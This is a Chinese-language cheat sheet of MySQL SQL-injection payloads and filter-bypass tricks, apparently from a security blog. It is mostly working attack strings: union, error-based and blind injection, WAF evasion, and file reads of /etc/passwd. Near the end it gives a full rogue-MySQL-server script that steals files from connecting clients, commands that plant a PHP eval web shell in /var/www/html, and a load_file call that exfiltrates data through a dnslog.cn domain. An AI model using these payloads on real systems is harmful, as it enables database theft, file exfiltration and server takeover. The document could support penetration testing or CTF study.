SQL注入基础整理及Tricks总结
一、基础注入
1.联合查询
' union select group_concat(table_name) from information_schema.tables where table_schema=database()%23
' union select group_concat(column_name) from information_schema.columns where table_name='table1'%23
' union select flag from table1%23
2.报错注入
1.floor()select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);2.extractvalue()select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));3.updatexml()select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));4.geometrycollection()select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));5.multipoint()select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));6.polygon()select * from test where id=1 and polygon((select * from(select * from(select user())a)b));7.multipolygon()select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));8.linestring()select * from test where id=1 and linestring((select * from(select * from(select user())a)b));9.multilinestring()select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));10.exp()select * from test where id=1 and exp(~(select * from(select user())a));
3.布尔盲注
order by rand(database()='pdotest')
4.时间盲注
id=' or sleep(3)%23id=' or if(ascii(substr(database(),1,1))>114,sleep(3),0)%23
id=' or benchmark(10000000,sha(1))%23id=' or if(ascii(substr(database(),1,1))>114,benchmark(10000000,sha(1)),0)%23
select count(*) from information_schema.tables A,information_schema.tables B,information_schema.tables Cselect balabala from table1 where '1'='2' or if(ascii(substr(database(),1,1))>0,(select count(*) from information_schema.tables A,information_schema.tables B,information_schema.tables C),0)
select get_lock('test',1)
select get_lock('test',5)
经本地测试mysql5.7最大允许用单个rpad()填充349525位,而多个rpad()可以填充4个349525位,
因此可用:
select * from table1 where 1=1 and if(mid(user(),1,1)='r',concat(rpad(1,349525,'a'),rpad(1,349525,'a'),rpad(1,349525,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+asdasdsadasd',1);
这个长度大概是1秒:
select * from table1 where 1=1 and if(mid(user(),1,1)='r',concat(rpad(1,349525,'a'),rpad(1,349525,'a'),rpad(1,349525,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+asaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd',1);
select * from table1 where 1=1 and if(mid(user(),1,1)='r',concat(rpad(1,349525,'a'),rpad(1,349525,'a'),rpad(1,349525,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+asaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaadddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddasaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaadddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddasdasdasdasdasdasdasdasdasdasdasdadasdasdasdasdasdasdasdasdasdasdasd',1);
5.HTTP头注入
6.HTTP分割注入
select * from users where username='1' or extractvalue/*'and password='1*/(1,concat(0x7e,(select database()),0x7e))) or '';
POST username=1' or if(ascii(substr(database(),1,1))=115,sleep(3),0) or '1&password=1凑成:select * from users where username='1' or if(ascii(substr(database(),1,1))>0,sleep(3),0) or '1' and password='1'
username=admin'and(strcmp(&password=,'asdasdasdasdasdasd'))and'1这样凑成:select username from users where username='admin'and(strcmp('and password=','asdasdasdasdasdasd'))and'1'
7.二次注入
select * from users where username='admin' #'
8.SQL约束攻击
二、基础绕过
1.大小写绕过
2.双写绕过
3.添加注释
/*! */类型的注释,内部的语句会被执行
select bbb from table1 where balabala='' union se/*!lect database()*/;
4.使用16进制绕过特定字符
select column_name from information_schema.columns where table_name=0x7573657273;
5.宽字节、Latin1默认编码
username = %df'#经gbk解码后变为:select * from users where username ='運'#
6.各个字符以及函数的代替
| 代替字符 | 数 | 代替字符 | 代替的数 | 数、字 | 代替的数 |
false、!pi() |
0 |
ceil(pi()*pi()) |
A |
ceil((pi()+pi())*pi()) |
K |
true、!(!pi()) |
1 |
ceil(pi()*pi())+true |
B |
ceil(ceil(pi())*version()) |
L |
true+true |
2 |
ceil(pi()+pi()+version()) |
C |
ceil(pi()*ceil(pi()+pi())) |
M |
floor(pi())、~~pi() |
3 |
floor(pi()*pi()+pi()) |
D |
ceil((pi()+ceil(pi()))*pi()) |
N |
ceil(pi()) |
4 |
ceil(pi()*pi()+pi()) |
E |
ceil(pi())*ceil(version()) |
O |
floor(version()) //注意版本 |
5 |
ceil(pi()*pi()+version()) |
F |
floor(pi()*(version()+pi())) |
P |
ceil(version()) |
6 |
floor(pi()*version()) |
G |
floor(version()*version()) |
Q |
ceil(pi()+pi()) |
7 |
ceil(pi()*version()) |
H |
ceil(version()*version()) |
R |
floor(version()+pi()) |
8 |
ceil(pi()*version())+true |
I |
ceil(pi()pi()pi()-pi()) |
S |
floor(pi()*pi()) |
9 |
floor((pi()+pi())*pi()) |
J |
floor(pi()pi()floor(pi())) |
T |
and -> &&or -> ||空格-> /**/ -> %a0 -> %0a -> +# -> --+ -> ;%00(php<=5.3.4) -> or '1'='1= -> like -> regexp -> <> -> in注:regexp为正则匹配,利用正则会有些新的注入手段
| 函数 |
说明 |
SUBSTR(str,N_start,N_length) |
对指定字符串进行截取,为SUBSTRING的简单版。 |
SUBSTRING() |
多种格式 |
RIGHT(str,len) |
对指定字符串从最右边截取指定长度。 |
LEFT(str,len) |
对指定字符串从最左边截取指定长度。 |
RPAD(str,len,padstr) |
在 |
LPAD(str,len,padstr) |
与RPAD相似,在 |
MID(str,pos,len) |
同于 |
INSERT(str,pos,len,newstr) |
在原始字符串 |
CONCAT(str1,str2…) |
函数用于将多个字符串合并为一个字符串 |
GROUP_CONCAT(…) |
返回一个字符串结果,该结果由分组中的值连接组合而成。 |
MAKE_SET(bits,str1,str2,…) |
根据参数1,返回所输入其他的参数值。可用作布尔盲注,如: |
LENGTH(str) |
返回字符串的长度。 |
PI() |
返回π的具体数值。 |
REGEXP “statement” |
正则匹配数据,返回值为布尔值。 |
LIKE “statement” |
匹配数据,%代表任意内容。返回值为布尔值。 |
RLIKE “statement” |
与regexp相同。 |
LOCATE(substr,str,[pos]) |
返回子字符串第一次出现的位置。 |
POSITION(substr IN str) |
等同于 |
LOWER(str) |
将字符串的大写字母全部转成小写。同: |
UPPER(str) |
将字符串的小写字母全部转成大写。同: |
ELT(N,str1,str2,str3,…) |
与 |
NULLIF(expr1,expr2) |
若expr1与expr2相同,则返回expr1,否则返回NULL。 |
CHARSET(str) |
返回字符串使用的字符集。 |
DECODE(crypt_str,pass_str) |
使用 pass_str 作为密码,解密加密字符串 crypt_str。加密函数: |
7.逗号被过滤
-1 union select 1,2,3
-1 union select * from (select 1)a join (select 2)b join (select 3)c%23
limit 2,1
limit 1 offset 2
substr(database(),5,1)
substr(database() from 5 for 1) from为从第几个字符开始,for为截取几个
substr(database() from 5)
如果for也被过滤了
mid(REVERSE(mid(database()from(-5)))from(-1)) reverse是反转,mid和substr等同
if(database()=’xxx’,sleep(3),1)
id=1 and databse()=’xxx’ and sleep(3)
select case when database()=’xxx’ then sleep(5) else 0 end
8.limit被过滤
9.information_schema被过滤
10.and or && ||被过滤
真^真^真=真真^假^真=假真^(!(真^假))=假……
三、特定场景的绕过
1.表名已知字段名未知的注入
select * from(select * from table1 a join (select * from table1)b)c
select * from(select * from table1 a join (select * from table1)b using(balabala))c
select * from(select * from table1 a join (select * from table1)b using(balabala,eihey))c
select * from table1 where '1'='' or if(ascii(substr((select b.2 from (select 1,2,3,4 union select * from table1)b limit 3,1),1,1))>1,sleep(3),0)
2.堆叠注入&select被过滤
id=1';Set @x=0x31;Prepare a from “select balabala from table1 where 1=?”;Execute a using @x;
set @x=0x73656c6563742062616c6162616c612066726f6d207461626c653120776865726520313d31;prepare a from @x;execute a;
3.PHP正则回溯BUG
union/*100万个1*/select
4.PDO场景下的SQL注入
PDO::ATTR_EMULATE_PREPARESPDO::ATTR_ERRMODEPDO::MYSQL_ATTR_MULTI_STATEMENTS
5.Limit注入(5.7版本已经废除)
select bbb from table1 limit 0,1
select bbb from table1 limit 0,1 union select database();
select bbb from table1 order by balabala limit 0,1
select bbb from table1 order by balabala limit 0,1 PROCEDURE analyse(1,1)
6.特殊的盲注
整数溢出:cot(0), pow(999999,999999), exp(710)几何函数:polygon(ans), linestring(ans)
select * from table1 where 1=1 and if(mid(user(),1,1)='r',benchmark(10000000,sha1(1)),1) and cot(0);或select * from table1 where 1=1 and if(mid(user(),1,1)='r',concat(rpad(1,349525,'a'),rpad(1,349525,'a'),rpad(1,349525,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+asaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaadddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddasaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaadddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddasdasdasdasdasdasdasdasdasdasdasdadasdasdasdasdasdasdasdasdasdasdasd',1) and cot(0);
select * from table1 where 1=0 or if(mid(user(),1,1)='s','a'=benchmark(1000000,sha1(1)),1) and cot(0);或select * from table1 where 1=0 or if(mid(user(),1,1)='s','a'=concat(rpad(1,349525,'a'),rpad(1,349525,'a'),rpad(1,349525,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+asaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaadddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddasaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaadddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddasdasdasdasdasdasdasdasdasdasdasdadasdasdasdasdasdasdasdasdasdasdasd',1) and cot(0);
select * from table1 where '1'='1' and cot(if(ascii(substr(database(),1,1))>0,sleep(3),0));
四.文件的读写
select load_file(file_path);load data infile "/etc/passwd" into table 库里存在的表名 FIELDS TERMINATED BY 'n'; #读取服务端文件load data local infile "/etc/passwd" into table 库里存在的表名 FIELDS TERMINATED BY 'n'; #读取客户端文件
#!/usr/bin/env python#coding: utf8import socketimport asyncoreimport asynchatimport structimport randomimport loggingimport logging.handlersPORT = 3306log = logging.getLogger(__name__)log.setLevel(logging.DEBUG)tmp_format = logging.handlers.WatchedFileHandler('mysql.log', 'ab')tmp_format.setFormatter(logging.Formatter("%(asctime)s:%(levelname)s:%(message)s"))log.addHandler(tmp_format)filelist = (# r'c:boot.ini',r'c:windowswin.ini',# r'c:windowssystem32driversetchosts',# '/etc/passwd',# '/etc/shadow',)#================================================#=======No need to change after this lines=======#================================================__author__ = 'Gifts'def daemonize():import os, warningsif os.name != 'posix':warnings.warn('Cant create daemon on non-posix system')returnif os.fork(): os._exit(0)os.setsid()if os.fork(): os._exit(0)os.umask(0o022)null=os.open('/dev/null', os.O_RDWR)for i in xrange(3):try:os.dup2(null, i)except OSError as e:if e.errno != 9: raiseos.close(null)class LastPacket(Exception):passclass OutOfOrder(Exception):passclass mysql_packet(object):packet_header = struct.Struct('<Hbb')packet_header_long = struct.Struct('<Hbbb')def __init__(self, packet_type, payload):if isinstance(packet_type, mysql_packet):self.packet_num = packet_type.packet_num + 1else:self.packet_num = packet_typeself.payload = payloaddef __str__(self):payload_len = len(self.payload)if payload_len < 65536:header = mysql_packet.packet_header.pack(payload_len, 0, self.packet_num)else:header = mysql_packet.packet_header.pack(payload_len & 0xFFFF, payload_len 16, 0, self.packet_num)result = "{0}{1}".format(header,self.payload)return resultdef __repr__(self):return repr(str(self))@staticmethoddef parse(raw_data):packet_num = ord(raw_data[0])payload = raw_data[1:]return mysql_packet(packet_num, payload)class http_request_handler(asynchat.async_chat):def __init__(self, addr):asynchat.async_chat.__init__(self, sock=addr[0])self.addr = addr[1]self.ibuffer = []self.set_terminator(3)self.state = 'LEN'self.sub_state = 'Auth'self.logined = Falseself.push(mysql_packet(0,"".join(('x0a', # Protocol'3.0.0-Evil_Mysql_Server' + '', # Version#'5.1.66-0+squeeze1' + '','x36x00x00x00', # Thread ID'evilsalt' + '', # Salt'xdfxf7', # Capabilities'x08', # Collation'x02x00', # Server Status'' * 13, # Unknown'evil2222' + '',))))self.order = 1self.states = ['LOGIN', 'CAPS', 'ANY']def push(self, data):log.debug('Pushed: %r', data)data = str(data)asynchat.async_chat.push(self, data)def collect_incoming_data(self, data):log.debug('Data recved: %r', data)self.ibuffer.append(data)def found_terminator(self):data = "".join(self.ibuffer)self.ibuffer = []if self.state == 'LEN':len_bytes = ord(data[0]) + 256*ord(data[1]) + 65536*ord(data[2]) + 1if len_bytes < 65536:self.set_terminator(len_bytes)self.state = 'Data'else:self.state = 'MoreLength'elif self.state == 'MoreLength':if data[0] != '':self.push(None)self.close_when_done()else:self.state = 'Data'elif self.state == 'Data':packet = mysql_packet.parse(data)try:if self.order != packet.packet_num:raise OutOfOrder()else:# Fix ?self.order = packet.packet_num + 2if packet.packet_num == 0:if packet.payload[0] == 'x03':log.info('Query')filename = random.choice(filelist)PACKET = mysql_packet(packet,'xFB{0}'.format(filename))self.set_terminator(3)self.state = 'LEN'self.sub_state = 'File'self.push(PACKET)elif packet.payload[0] == 'x1b':log.info('SelectDB')self.push(mysql_packet(packet,'xfex00x00x02x00'))raise LastPacket()elif packet.payload[0] in 'x02':self.push(mysql_packet(packet, 'x02'))raise LastPacket()elif packet.payload == 'x00x01':self.push(None)self.close_when_done()else:raise ValueError()else:if self.sub_state == 'File':log.info('-- result')log.info('Result: %r', data)if len(data) == 1:self.push(mysql_packet(packet, 'x02'))raise LastPacket()else:self.set_terminator(3)self.state = 'LEN'self.order = packet.packet_num + 1elif self.sub_state == 'Auth':self.push(mysql_packet(packet, 'x02'))raise LastPacket()else:log.info('-- else')raise ValueError('Unknown packet')except LastPacket:log.info('Last packet')self.state = 'LEN'self.sub_state = Noneself.order = 0self.set_terminator(3)except OutOfOrder:log.warning('Out of order')self.push(None)self.close_when_done()else:log.error('Unknown state')self.push('None')self.close_when_done()class mysql_listener(asyncore.dispatcher):def __init__(self, sock=None):asyncore.dispatcher.__init__(self, sock)if not sock:self.create_socket(socket.AF_INET, socket.SOCK_STREAM)self.set_reuse_addr()try:self.bind(('', PORT))except socket.error:exit()self.listen(5)def handle_accept(self):pair = self.accept()if pair is not None:log.info('Conn from: %r', pair[1])tmp = http_request_handler(pair)z = mysql_listener()daemonize()asyncore.loop()
select 1,"<?php eval($_POST['cmd']);?>" into outfile '/var/www/html/1.php';select 2,"<?php eval($_POST['cmd']);?>" into dumpfile '/var/www/html/1.php';
set global general_log_file = '/var/www/html/1.php';set global general_log = on;
select load_file(concat('\\',(select database()),'.子域名.dnslog.cn'));
- End -
精彩推荐
觉得内容不错就点个“在看”吧!
